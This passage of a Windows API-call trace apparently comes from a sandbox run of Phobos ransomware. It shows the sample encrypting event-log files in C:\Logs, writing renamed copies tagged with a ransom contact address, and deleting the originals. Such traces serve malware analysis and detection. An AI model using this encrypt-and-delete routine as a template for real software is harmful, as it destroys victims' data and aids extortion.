lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.628] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ce70) returned 1 [0059.628] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.628] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0059.628] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.628] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0059.628] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.628] CloseHandle (hObject=0x338) returned 1 [0059.629] CloseHandle (hObject=0x2e4) returned 1 [0059.630] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0059.631] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.631] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.632] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.632] CloseHandle (hObject=0x2e4) returned 1 [0059.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0059.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.632] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.632] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.632] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.632] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.635] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10caf0) returned 1 [0059.635] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.635] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.640] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.640] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.642] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cb30) returned 1 [0059.642] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.642] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0059.642] CryptDestroyKey (hKey=0x10cb30) returned 1 [0059.642] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0059.642] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.642] CloseHandle (hObject=0x2e4) returned 1 [0059.642] CloseHandle (hObject=0x338) returned 1 [0059.644] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0059.645] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.645] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.645] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.645] CloseHandle (hObject=0x338) returned 1 [0059.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0059.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.646] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.646] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.646] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.646] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.646] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d170) returned 1 [0059.646] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.646] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.649] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.649] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.650] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cfb0) returned 1 [0059.650] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.650] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0059.650] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0059.650] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0059.651] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.651] CloseHandle (hObject=0x338) returned 1 [0059.651] CloseHandle (hObject=0x2e4) returned 1 [0059.652] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0059.654] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.654] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.654] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.654] CloseHandle (hObject=0x2e4) returned 1 [0059.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0059.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.654] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.654] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.654] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.654] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.658] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ce70) returned 1 [0059.658] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.658] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.896] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.897] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.899] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cf30) returned 1 [0059.899] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.899] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0059.899] CryptDestroyKey (hKey=0x10cf30) returned 1 [0059.899] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0059.899] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.899] CloseHandle (hObject=0x2e4) returned 1 [0059.899] CloseHandle (hObject=0x33c) returned 1 [0059.901] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0059.903] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.903] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.904] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.904] CloseHandle (hObject=0x33c) returned 1 [0059.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0059.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.904] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.904] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.904] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.904] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.905] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d170) returned 1 [0059.905] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.905] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.906] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.906] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.908] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d1b0) returned 1 [0059.908] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.908] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0059.908] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0059.909] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0059.909] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.909] CloseHandle (hObject=0x33c) returned 1 [0059.909] CloseHandle (hObject=0x2e4) returned 1 [0059.911] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0059.913] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.913] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.913] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.913] CloseHandle (hObject=0x2e4) returned 1 [0059.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0059.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.913] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.913] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.913] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.913] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.914] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cc30) returned 1 [0059.914] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.914] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.915] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.916] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.919] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ce70) returned 1 [0059.920] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.920] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xa0, dwBufLen=0xa0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xa0) returned 1 [0059.920] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.920] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x152, lpOverlapped=0x0) returned 1 [0059.920] CryptDestroyKey (hKey=0x10cc30) returned 1 [0059.920] CloseHandle (hObject=0x2e4) returned 1 [0059.920] CloseHandle (hObject=0x33c) returned 1 [0059.923] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0059.926] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.926] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.926] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.926] CloseHandle (hObject=0x33c) returned 1 [0059.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0059.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.926] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.926] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.927] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.927] CreateFileW 